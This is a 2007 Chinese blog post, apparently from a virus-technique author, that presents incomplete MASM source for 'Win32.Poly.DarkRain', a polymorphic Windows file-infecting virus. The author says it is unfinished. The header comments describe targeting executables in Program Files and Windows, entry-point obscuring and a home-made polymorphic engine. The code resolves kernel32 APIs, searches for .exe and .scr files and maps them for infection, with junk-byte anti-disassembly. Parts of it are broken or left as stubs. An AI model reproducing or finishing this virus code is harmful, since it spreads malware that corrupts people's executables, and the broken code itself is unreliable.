• 2007-06-21

    Win32.Poly.DarkRain[NOT COMPLATE] - [病毒技术]

    版权声明:转载时请以超链接形式标明文章原始出处和作者信息及本声明
    http://romio64.blogbus.com/logs/6051146.html

    未完成,敬请期待~
    ;-------------------------------------------------------------------------------------
    ;   ______________________
    ;   Win32.Poly.DarkRain
    ;    Robinh00d/F-13 Labs
    ;   ______________________
    ; __________
    ; 编译参数:
    ; __________
    ; ml /c /coff poly.asm
    ; link /subsystem:windows /section:.text,REW poly.obj
    ; ______
    ; 功能:
    ; ______
    ; 1. 重点感染以下目录下的可执行文件
    ;  (1)Program Files
    ;  (2)Windows
    ; 2. 随机运行病毒体
    ; 3. EPO
    ; 4. 遍历文件控制在0-20秒之间,不连续遍历
    ; 5. 执行宿主程序后,病毒执行的概率是50%
    ; 6. Polymophism引擎(实现自己的RPE<Robin's Polymophic Engine>)
    ; RPE功能:
    ;  1>随机寄存器
    ;  2>顺序无关指令随机顺序
    ;  3>代码间插入垃圾指令
    ;  4>多套随机数生成算法
    ;-------------------------------------------------------------------------------------
    .386
    .model flat,stdcall
    option casemap:none

    include windows.inc
    .code
    @Base    dd 00000000h
    hKernel32   dd 00000000h
    _GetProcAddressA      dd 00000000h
    szGetProcAddress      db 'GetProcAddress',0

    VStart:
     
    ;-------------------------------------------------------------------------------------
    ;基址重定位
    ;-------------------------------------------------------------------------------------

        call delta
     delta:
        pop  ebx
        sub  ebx,offset delta
        mov  [ebx+@Base],ebx
        call  GetBase     ;获取kernel32的基址
        mov  [ebx+hKernel32],eax
        jz  @F     ;花指令
        jnz  @F
        db  0e9h
       @@:
        call  GetApi     ;暴力搜索API地址
        mov  DWORD PTR [ebx+_GetProcAddressA],eax
        call  GetApiz
        call  GetInfectDir
        call  SearchFilez
        
        
    ;获取Kernel32的基址
     GetBase:
        mov  eax,[esp+4]
        and  eax,0FFFF0000h
       @1:
        cmp  WORD PTR [eax],IMAGE_DOS_SIGNATURE ;判断是否是"MZ"
        jnz  @2
        mov  edx,eax
        add  edx,[eax+3ch]
        cmp  WORD PTR [edx],IMAGE_NT_SIGNATURE ;判断是否是"PE"
        jnz  @2
        ret
       @2:
        sub  eax,10000h    ;每次递减64KB
        cmp  eax,70000000h
        ja  @1
        mov  eax,0BFF70000h    ;没有搜索到就硬编码
        ret
    ;/////////////////////////////////////////////////////////////////
    ;在kernel32里暴力搜索GetProcAddress的地址
    ;/////////////////////////////////////////////////////////////////
     GetApi:
        mov  edx,eax     ;kernel32基址
        assume edx: PTR IMAGE_DOS_HEADER
        add  edx,[edx].e_lfanew   ;EDX指向PE头
        assume edx: PTR IMAGE_NT_HEADERS
        mov  edx,[edx].OptionalHeader.DataDirectory.VirtualAddress
        add  edx,[ebx+hKernel32]
        assume edx: PTR IMAGE_EXPORT_DIRECTORY
        xor  eax,eax
        mov  ebp,[edx].AddressOfNames
        add  ebp,[ebx+hKernel32]
       @@:
        push  14     ;在AddressOfNames数组里
        pop  ecx     ;搜索"GetProcAddress"
        mov  edi,[ebp]
        add  edi,[ebx+hKernel32]
        lea  esi,[ebx+szGetProcAddress]
        repz  cmpsb
        jz  @F     
        add  ebp,4     
        inc  eax
        cmp  eax,[edx].NumberOfNames
        jl  @B
       @@:
        mov  ebp,[edx].AddressOfNameOrdinals
        add  ebp,[ebx+hKernel32]
        xor  ecx,ecx
        mov  cx,WORD PTR [ebp+eax*2]
        mov  eax,[edx].AddressOfFunctions
        add  eax,[ebx+hKernel32]
        mov  eax,[eax+ecx*4]
        add  eax,[ebx+hKernel32]
        assume  edx:nothing
        ret
     GetInfectDir:
        push  MAX_PATH
        call  @F
      WinDir db MAX_PATH dup (0)
       @@:
        call  [ebx+_GetWindowsDirectoryA]
        push  MAX_PATH
        call  @F
      SysDir db MAX_PATH dup (0)
       @@: 
        call  [ebx+_GetSystemDirectoryA]
        call  @F
      CurDir db MAX_PATH dup (0)
       @@:
        push  MAX_PATH
        call  [ebx+_GetCurrentDirectoryA]
        
    ;/////////////////////////////////////////////////////////////////
    ;获取所有需要的API地址
    ;/////////////////////////////////////////////////////////////////
     GetApiz:
        call  @F
      szApi  label BYTE
        db 'LoadLibraryA',0
        db 'GetSystemDirectoryA',0
        db 'GetWindowsDirectoryA',0
        db 'GetCurrentDirectoryA',0
        db 'FindFirstFileA',0
        db 'FindNextFileA',0
        db 'CreateFileA',0
        db 'CreateFileMappingA',0
        db 'MapViewOfFile',0
        db 'UnmapViewOfFile',0
        db 'CloseHandle',0
        db 'CreateThread',0
        db 0FFh      ;结束标志
       @@:
        pop  edi
        jmp  @Start
      dwApiAddr label DWORD
     _LoadLibraryA  dd 00000000h
     _GetSystemDirectoryA dd 00000000h
     _GetWindowsDirectoryA dd 00000000h
     _GetCurrentDirectoryA dd 00000000h
     _FindFirstFileA  dd 00000000h
     _FindNextFileA  dd 00000000h
     _CreateFileA  dd 00000000h
     _CreateFileMapping dd 00000000h
     _MapViewOfFile  dd 00000000h
     _UnmapViewOfFile dd 00000000h
     _CloseHandle  dd 00000000h
     _CreateThread  dd 00000000h
     
     @Start:  
        xor  esi,esi
       @@:
        push  edi
        push  DWORD PTR [ebx+hKernel32]
        mov  eax,[ebx+_GetProcAddressA]
        call  eax
        mov  DWORD PTR [ebx+esi+dwApiAddr],eax
        xor  al,al
        repne  scasb
        add  esi,4
        cmp  BYTE PTR [edi],0FFh
        jnz  @B
        ret
    ;/////////////////////////////////////////////////////////////////
    ;在指定目录下搜索文件并感染
    ;入口参数:esi->目录名
    ;/////////////////////////////////////////////////////////////////
     SearchFilez:
        jmp  @F
     
     FileInfo  WIN32_FIND_DATA <>
     szExeMask  db '*.exe',0
     szScrMask  db '*.scr',0
     FindHandle  dd 00000000h
     szFullPathName  db MAX_PATH dup (0)
     szSearchPath  db MAX_PATH dup (0)
        lea  eax,[esp+4]
        push  eax
        lea  eax,[ebp+szSearchPath]
        push  eax
        mov  eax,DWORD PTR []
        lea  eax,[ebx+szExeMask]
        push  eax
        lea  eax,[ebx+FileInfo]
        push  eax
        call  [ebx+_FindFirstFileA]
        inc  eax
        or  eax,eax
        jz  @FindErr
        dec  eax
        mov  DWORD PTR [ebx+FindHandle]
        ;mov  edx,eax
       @@:
        lea  edx,[ebx+FileInfo]
        ASSUME  edx:PTR WIN32_FIND_DATA
        mov  esi,[edx].dwFileAttributes
        cmp  esi,FILE_ATTRIBUTE_DIRECTORY  ;如果是目录的话
        jz  IsDirectory
        ;检测文件的合法性
        
        call  IsInfect
        ;计算概率
        
        ;感染文件
        call  Infection
        
        lea  eax,[ebx+FileInfo]
        push  eax
        mov  eax,[ebx+FindHandle]
        push  eax
        call  [ebx+_FindNextFile]
        or  eax,eax
        jnz  @B
        
       IsDirectory:
        
       FindErr:
        mov  eax,[ebx+FindHandle]
        push  eax
        call  [ebx+_FindClose]
        ret
        
    DownloadFile:

    ;________________________
    ;strcpy函数
    ;________________________
    ;字符串拷贝

    ;入口参数:
    ; esi :指向源字符串
    ; edi :指向目的字符串
    _Strcpy:
        mov  ecx, sizeof esi
        rep  movsb
        ret
        
    ;_________________________
    ;IsInfect
    ;_________________________
    ;判断文件是否应被感染

    ;入口参数:
    ; esi :指向文件名

    IsInfect:
        
        ret
    ;打开文件
    _OpenFile:
        xor  eax,eax
        push  eax
        push  FILE_ATTRIBUTE_NORMAL
        push  OPEN_EXISTING
        push  eax
        push  FILE_SHARE_READ or FILE_SHARE_WRITE
        push  GENERIC_READ or GENERIC_WRITE
        push  esi
        mov  eax, DWORD PTR [_CreateFileA]
        call  eax
        ret
    _MappingFile:
        mov  eax,eax
        push  eax
        push  eax
        push  PAGE_READWRITE
        push  eax
        push  esi
        mov  eax,DWORD PTR [_CreateFileMapping]
        call  eax
        and  eax,eax
        jz  @F
        
        xor  edx,edx
        push  edx
        push  edx
        push  edx
        push  FILE_MAP_READ or FILE_MAP_WRITE
        push  eax
        mov  eax,DWORD PTR [_MapViewOfFile]
        call  eax
        and  eax,eax
        jz
        
        @@:
        
        ret
    vEnd:
       
    end VStart


    历史上的今天:

    OllyDbg's fault 2007-06-21
    关于狙剑 2007-06-21

    收藏到:Del.icio.us




    评论

  • GO ON WRITE...